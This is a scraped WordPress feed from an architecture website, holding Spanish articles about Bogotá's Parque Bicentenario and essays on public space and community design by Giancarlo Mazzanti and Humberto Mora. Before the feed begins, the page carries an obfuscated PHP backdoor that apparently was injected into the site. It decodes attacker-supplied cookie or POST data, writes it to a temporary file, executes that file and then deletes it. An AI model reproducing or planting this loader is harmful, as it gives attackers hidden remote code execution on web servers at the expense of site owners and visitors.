$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?>
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Diseño – www.interferencechannel.com http://interferencechannel.com Wed, 24 May 2023 23:52:39 +0000 en-US hourly 1 https://wordpress.org/?v=5.1.18 http://interferencechannel.com/wp-content/uploads/2016/04/cropped-IC-32x32.jpg Diseño – www.interferencechannel.com http://interferencechannel.com 32 32 Sobre el Parque Bicentenario. Una entrevista a Giancarlo Mazzanti. http://interferencechannel.com/2015/10/23/sobre-el-parque-bicentenario-una-entrevista-a-giancarlo-mazzanti/ Fri, 23 Oct 2015 14:42:25 +0000 http://www.interferencechannel.com/?p=1399 + Read More]]>

El arquitecto Giancarlo Mazzanti recibió  al equipo editorial de arquitectura de Interference Channel, acompañado de la productora Estudio El Cajón, en su oficina en Quinta Camacho, Bogotá, para hablar sobre el proyecto Parque Bicentenario. Les compartimos el video que editó El Cajón resultado de la entrevista con el arquitecto barranquillero en donde cuenta cuales fueron las directrices para el diseño del proyecto sobre la Avenida el Dorado con Carrera Séptima.

El equipo editorial de arquitectura de Interference Channel quiere agradecer a Humberto Mora por contactarnos eficientemente con todo El Equipo Mazzanti. Igualmente queremos agradecerle a todo el Equipo y especialmente a Giancarlo Mazzanti, Carlos Medellín, Mariana Bravo y Rocío Lamprea por toda la colaboración que hizo posible la entrevista y este video.

Pablo Lorenzana

Editor Arquitectura

 

 

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EL ESPACIO PÚBLICO COMO LUGAR DEL COMÚN http://interferencechannel.com/2015/10/23/el-espacio-publico-como-lugar-del-comun/ Fri, 23 Oct 2015 14:22:03 +0000 http://www.interferencechannel.com/?p=1394 + Read More]]>

Se llama espacio público al lugar donde cualquier persona tiene el derecho de circular, en oposición a los espacios privados, donde el paso puede ser restringido, generalmente por criterios de propiedad privada, reserva gubernamental u otros. Por tanto, espacio público es aquel espacio de propiedad pública, “dominio” y uso público……” .

Wikipedia.

Bosque de la Esperanza, Cazucá.

En este breve texto  me interesa explorar la relación entre la idea de lo público-privado y lo comunal; cómo este último puede ser un agente transformador y propiciador de nuevas formas de uso  y comunicación en la construcción de la ciudad  y la relación de lo común y la participación  como agente constitutivo  de la arquitectura .

El espacio público está regulado y regido por la administración pública estatal lo que define una formas especificas de uso  y en donde  se predefinen unas maneras de comportamiento posibles y otros no; los movimientos de Occupacy o de indignados  en los últimos años y como estos han sido reprimidos por el estado son una muestra de cómo el espacio público ha sido privatizado o sobre regularizado por el estado; esta forma de represión ante la ocupación comunitaria como forma de protesta del espacio público  nos has vuelto a poner a pensar si verdaderamente el espacio público está al servicio de la totalidad de las personas o solo al servicio del estado .

La naturaleza del espacio público es ser vacío pero el valor de este solo existe si es ocupado, usado o llenado; creo que solo una nueva forma ocupación no necesariamente regulada por el estado y que busque  nuevas formas  de uso y ocupación desde lo común o comunitario darán forma a un espacio público más participativo. Debemos trabajar de una forma más horizontal y democrática en donde los habitantes puedan construir acciones concertadas y en común con los planificadores o arquitectos. Esto nos permitirá proyectar espacios más  acordes con las exigencias actuales de participación ciudadana; por ejemplo ¿Cómo poder desarrollar espacios públicos productivos para las comunidades pobres que los circundan sin llegar a privatizarlos? ¿Cómo propiciar mecanismos de agricultura urbana en las zonas verdes de forma participativa? ¿Cómo un espacio público puede generar nuevas formas de uso común y experimentar con expresiones democráticas en los barrios y espacios públicos? ¿Un espacio común podría genera formas de educación y diálogo comunitario? ¿Cómo un preescolar puede multiplicar su fin para ser un mercado de venta de productos chinos? Para esto es interesante ver y tener en cuenta el trabajo desarrollado por varios  artistas latinoamericanos como Nicolás Paris[1] con su talleres educativos y soportes espaciales para el diálogo o el trabajo del artista mexicano Pedro Reyes en el proyecto Genoma Urbano[2]. Estos buscan que sus obras sean mecanismo que activen o propicien nuevas relaciones de participación y diálogo entre los habitantes dándole al espacio una función más comunal.

“Por comunal se entiende, todo aquello que se relaciona con la producción social y que es necesario para la interacción social y la producción de procesos como el conocimiento, el lenguaje, los códigos, la información, los afectos y la vida. La condición de lo comunal no presupone la separación entre lo humano y lo no humano. En la era de la globalización los temas de la conservación, de la producción y de la distribución comunal son temas centrales de la discusión actual.”

Michael Hardt y Antonio Negri-Comune, oltre il privato e il publico .

Jardín Infantil Timayui, Santa Marta.

El valor del diseño de las infraestructuras arquitecturas públicas o de espacio público no puede radicar solo en si mismo, si no en lo que propicia como agenciador entre todos los actores que lo constituyen; creo que antes que diseñar espacios públicos bonitos debemos aprender a proyectar acciones o eventos  que propicien  formas de uso comunitarios y participativas, en donde no solo diseñemos las bancas, los adoquines y demás componentes del espacio público si no que seamos capaces de disponer y diseñar las acciones, las acciones que es lo que verdaderamente importa en la vida comunitaria y del día a día de la ciudad;  ¿es posible programar y diseñar las acciones del espacio público de una manera más comunitaria? ¿Cómo podemos proyectar soportes arquitectónicos que puedan ser cambiantes y adaptativos para estas nuevas formas de participación ciudadana basadas en la diversidad? o ¿Cómo relacionar  las diversas naturalezas humanas y no humanas  que existen y conviven en el espacio de lo público? o ¿Cómo trabajar con las condiciones existentes y los múltiples grupos de autogestión comunitaria para desarrollar espacios públicos participativos y democráticos? Estas preguntas son las que nos interesan en El Equipo Mazzanti cuando estamos proyectando infraestructuras públicas de uso comunitario.

Esta  reflexión sobre el papel de lo Común y el rol del espacio o edificio comunitario como espacio de la diversidad en la construcción del mundo de hoy , como la proyectación o el diseño de programas, protocolos , estrategias de uso e intercambios son una de las responsabilidades más importantes del arquitecto como pensador y estratega. De una manera particular algunas de nuestras  exploraciones en el Equipo Mazzanti se basan en la experimentación de diseños de programas puestos en  contradicción o de forma anómala que permitan propiciar nuevas formas de comportamiento desde la creación y la programación de eventos comunitarios para el diálogo, el aprendizaje y el ocio; por ejemplo nos preguntaremos como jugar o turistear  al interior de una biblioteca, nadar en un laboratorio, desarrollar actividades productivas o comestibles  privadas en espacios públicos. En fin nos interesara poner acciones de uso en contradicción para propiciar nuevas relaciones entre los usuarios y el lugar; por esto nos interesara revisar el valor de condiciones de uso; indeterminadas, inacabadas, vacías, sin uso, etc. La arquitectura y el espacio publico deberían ser propiciadores de EVENTOS Y ACCIONES capaces de poner en un espacio diversidad de puntos de vista y formas de ser o actuar  promoviendo ahí si la inclusión, de aquellos no incluidos o marginados, en la sociedad dando un espacio democrático de expresión, que en principio es lo que el espacio publico abierto  es por definición.

Colegio Pies Descalzos, Cartagena.

Desde otra perspectiva más material estamos experimentando en el taller como introducir anomalías formales o deformaciones en algunas de la partes que componen un proyecto o un sistema lo que permite ocupar o usar los edificios de maneras inesperadas o transformarlos desde el usuario como una creador más  y abriendo la posibilidad de participación comunitaria, ya que los edificios no están vistos como estructuras cerradas sometidas a un uso único (función o eficiencia arquitectónica) si no como espacios en donde el uso es una actividad creativa definida por el usuario  y en donde este construye un nuevo edificio o espacio y el arquitecto solo dispone materia y acciones para que sea el usuario quien defina su formas o maneras de relación y acción  pero sobre todo que el proyecto sea capaz de gestionar arquitecturas inacabadas , arquitecturas que estén preparadas para adaptarse a lo largo del tiempo y cambiar.

Creemos que el valor de la arquitectura o del espacio público no solo radica en si mismos si no en lo que produce (inclusión social y ambiental) en sus capacidades performativas. En este sentido nos interesa inducir acciones, acontecimientos y relaciones nuevas entre los diversos grupos o actores no tradicionales en el uso de las infraestructuras públicas, lo que nos permite  desarrollar formas, patrones u organizaciones materiales abiertas, adaptativas e inacabadas que actúan en la construcción de acciones sociales y ambientales, como propiciadores de nuevas relaciones cotidianas  comunes; buscamos que nuestros edificios o espacios públicos provoquen comportamientos y relaciones nuevas y que sean soporte a estas relaciones comunales de forma más horizontal alentando a la gente a comportarse mental y físicamente de modos nuevos e imaginados que sean apropiados y elemento de orgullo de las comunidades.

Para que esto se dé es cada día más importante detectar y entender  la multiplicidad de grupos y estructuras comunitarias, algunas muy marginales que existen en la ciudad contemporánea y como pueden actuar pensadores , artistas y arquitectos para desarrollar soportes de  manera participativa que posibiliten la visibilización  de estos discursos y usos de una forma más horizontal con los habitantes de las ciudades, estableciendo protocolos y estrategias proyectuales abiertas en el espacio público .

Jardín Infantil El Porvenir, Bogotá.

Una mirada a la participación ciudadana desde lo común y la planeación de nuevas estrategias proyectuales como por ejemplo, el inacabamiento o la anomalía en el espacio público permitirán proyectar proyectos más resistentes y acordes con las condiciones de hoy en día. Estas arquitecturas deberán estar basadas en intereses varios y contradictorios, construyéndose entornos a múltiples posibilidades: a intereses atmosféricos, al de los bosques tropicales, al de las compañías, al de los automóviles, al de los animales, plantas y personas. Una arquitectura hecha de acuerdos colectivos ya no definidos sólo para los intereses de los humanos, en un mundo en donde participan múltiples agentes. Proyectos capaces de generar la aparición de especies vegetales, de servir de nido aves, de propiciar agricultura urbanas, jardines comestibles, etc. Una redistribución de papeles y funciones entre lo humano y lo no humano. ¿Cómo encontrar los marcos capaces de regular estos nuevos y posibles acuerdos entre ecosistemas y sociedades? ¿Cómo definir una práctica que sea capaz de desarrollar proyectos como herramientas que re-definen las relaciones entre naturaleza y cultura en términos de reciprocidad y beneficio mutuo? ¿Cómo hacer que los proyectos puedan construir un mundo basado en pactos de intereses humanos y no humanos; en contradicción?; creo que estas son algunas de las preguntas que deben estar en la mesa de trabajo de cada arquitecto hoy en día.

Colegio Pies Descalzos, Cartagena.

Giancarlo Mazzanti

arquitecto

 

Artículo publicado previamente en la Revista Lotus No.153 de 2014

[1] www.youtube.com/watch?v=QbYTXPZ2wO4

[2] http://www.pedroreyes.net/urbangenomeproject.php?szLang=en&Area=worke

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PARQUE BICENTENARIO http://interferencechannel.com/2015/10/23/parque-bicentenario/ Fri, 23 Oct 2015 14:08:41 +0000 http://www.interferencechannel.com/?p=1377 + Read More]]> UN PUENTE ABANDONADO

Vista Obra Parque Bicentenario desde Oriente sobre la Avenida el Dorado.

Cuando su estructura aparentemente abandonada se habría vuelto parte del paisaje urbano y se habría grabado en el imaginario colectivo, convirtiéndose en un referente en la ciudad, se habla de la reactivación del proyecto del Parque Bicentenario. Ésta conllevaría a la esperada transformación de uno de los sectores más emblemáticos de Bogotá. Se vuelve a especular acerca de una fecha de apertura de uno de los espacios públicos más importantes de esta ciudad que, paradójicamente, es desconocido por muchos. Es entonces relevante preguntarse y recordar ¿Cuál es la necesidad del Parque Bicentenario? ¿Qué fue y qué podría haber sido en los últimos años? En concordancia con esta edición, ¿en qué sentido es una interferencia? y, finalmente, ¿Cómo va a ser?

Todas las propuestas [1] posteriores del Parque Bicentenario buscaron conectar un conjunto de elementos arquitectónicos dispersos en dos áreas de ciudad, pretendiendo en todos los casos crear un espacio público sobre una autopista, como una interferencia canalizadora de flujo peatonal. Esta estrategia ha sido probada en múltiples proyectos de referencia del mundo como  El High Line de Nueva York.  Desde principios  del siglo XX, se han establecido alrededor del Centro Internacional  hitos urbanos, como el primer conjunto de parques para conmemorar el centenario del nacimiento de Simón Bolívar y el centenario de la independencia de Colombia. Así, el Parque Bicentenario hace alusión al antiguo Parque Centenario y su nombre fue establecido por la Administración distrital (2008-2011).

Plan Maestro Rogelio Salmona.

La construcción de la versión más reciente de este proyecto, se  inició  en 2011  y fue detenida hace más de tres años, convirtiéndose en un gran vacío urbano en el  cual se han generado dinámicas diferentes a las pensadas en el proyecto inicial. La estructura ha  acentuado la división entre los sectores al norte y al sur de la 26, actuando como una interferencia física y temporal a escala urbana. Los residentes desconocen el proyecto y asocian el producto final al monstruo de concreto que se ha perpetuado  como monumento a  un proceso administrativo. Hasta el momento, el parque ha sido  un puente abandonado (ver foto Obra Parque Bicentenario desde Biblioteca Nacional)  que a la espera de decisiones administrativas,  pudo haber sido intervenido en beneficio de la ciudad.

Dada su proximidad al MamBo, la estructura se percibe como una extensión de éste  (ver foto Obra Parque Bicentenario desde Museo de Arte Moderno de Bogotá) pero no se ha vivido como tal. La estructura abandonada pudo ser aprovechada temporalmente como un espacio de creación artística como ha ocurrido en otras partes del mundo. Un caso de referencia es Kunsthaus Tacheles, un edificio  tomado por artistas tras la caída del muro de Berlín que se convirtió en un centro cultural por más de veinte años y fue uno de los lugares más emblemáticos de esta ciudad. En esta galería los visitantes podían asistir a procesos creativos, interactuar con los artistas y ser parte de su obra,  y vivían el edificio como museo. Además,  al estar sobre  la Calle 26, puerta de llegada y de salida de Bogotá, y ser un espacio muy visible en la ciudad, la ruina del bicentenario  pudo haber servido como espacio publicitario, de instalaciones artísticas, e incluso convertirse en un muro de luz en las noches, para recordar la existencia de un referente de ciudad aparentemente olvidado.

Obra Parque Bicentenario desde Biblioteca Nacional.

Éste es sólo un ejemplo  concreto de un fenómeno recurrente en Bogotá donde proyectos públicos y privados son pausados con frecuencia, generando interferencias de desarrollo en la ciudad. Algunos movimientos urbanos han buscado resaltar el deterioro  urbano a través de la intervención de estructuras abandonadas como es  caso del experimento Bewareofcolour [2] . Esta iniciativa, liderada por el artista Yasmany Arboleda,  buscó resaltar con pintura rosada   edificaciones abandonadas en Johanesburgo con potencial para ser habitados  como reclamo a procesos de de-gentrificación, con el fin de destacar su presencia en la ciudad. Vale la pena preguntarse cuál sería  el mapa de estructuras abandonadas  a la espera de definiciones administrativas en Bogotá y su potencial de intervención temporal desde un punto de vista urbano.

El Parque Bicentenario ha sido un espacio de interferencia en múltiples sentidos, desde su concepción original como  un puente-parque sobre una autopista, en respuesta a la ruptura de un eje vial, hasta convertirse en un vacío que interferiría en las dinámicas urbanas y en su tiempo de desarrollo. Ahora se puede  volver a esperar la terminación de este proyecto, correspondiente al diseño más reciente, de Giancarlo Mazzanti.

¿Cómo va a ser?

Obra Parque Bicentenario desde Museo de Arte Moderno de Bogotá.

Humberto Mora

arquitecto

[1] Proyectos específicos para el Centro Internacional (Taller de Espacio Público – TEP,1998-2000), Plan Director del parque Metropolitano La independencia ( Corporación la Candelaria- Arq. Rogelio Salmona, 2006), Modificación al Plan Director del Parque Metropolitano de la Independencia (Secretaría Distrital de Planeación-Arq. Juan Camilo Santamaria, 2008), Modificación al Plan Director del Parque Metropolitano de la Independencia (Instituto de Desarrollo Urbano e Instituto de Patrimonio Cultural – Arq. Giancarlo Mazzanti, 2011).

[2] http://www.theguardian.com/world/2014/sep/08/painting-johannesburg-pink-neglected-high-rises

Vista aérea Antes y Después.

Planta Urbana. Conexión del proyecto con la ciudad.

Planta de Localización.

Planta Parque Bicentenario.

Comparación Perfiles del Parque Bicentenario con Proyecto de Rogelio Salmona.

Vista Aérea desde el Norte.

Vista Aérea Zoom desde el Norte.

Vista Aérea Plataformas Parque Bicentenario.

Vista Aérea empate de Parque Bicentenario con Carrera Séptima.

Vista Aérea empate Parque Bicentenario con Museo de Arte Moderno.

Vista desde Parque de la Independencia.

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